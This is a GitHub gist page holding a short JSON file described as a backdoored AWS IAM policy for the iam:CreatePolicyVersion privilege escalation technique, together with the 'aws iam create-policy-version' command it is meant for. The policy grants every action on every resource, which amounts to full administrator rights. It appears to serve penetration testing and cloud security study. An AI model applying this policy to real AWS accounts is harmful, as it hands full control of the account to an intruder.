Skip to content

Instantly share code, notes, and snippets.

@sasqwatch

sasqwatch/backdoored-aws-policy.json

Forked from mgeeky/backdoored-aws-policy.json
Created April 27, 2019 00:28
Show Gist options
  • Save sasqwatch/cdd903e23792d519a9df621719b5e329 to your computer and use it in GitHub Desktop.
Save sasqwatch/cdd903e23792d519a9df621719b5e329 to your computer and use it in GitHub Desktop.
Download ZIP
Example of a Backdoored AWS policy to be used in iam:CreatePolicyVersion privilege escalation vector (aws iam create-policy-version --policy-document)
Raw
backdoored-aws-policy.json
{
"Version": "2012-10-17",
"Statement": [
{
"Action": "*",
"Effect": "Allow",
"Resource": "*"
}
]
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment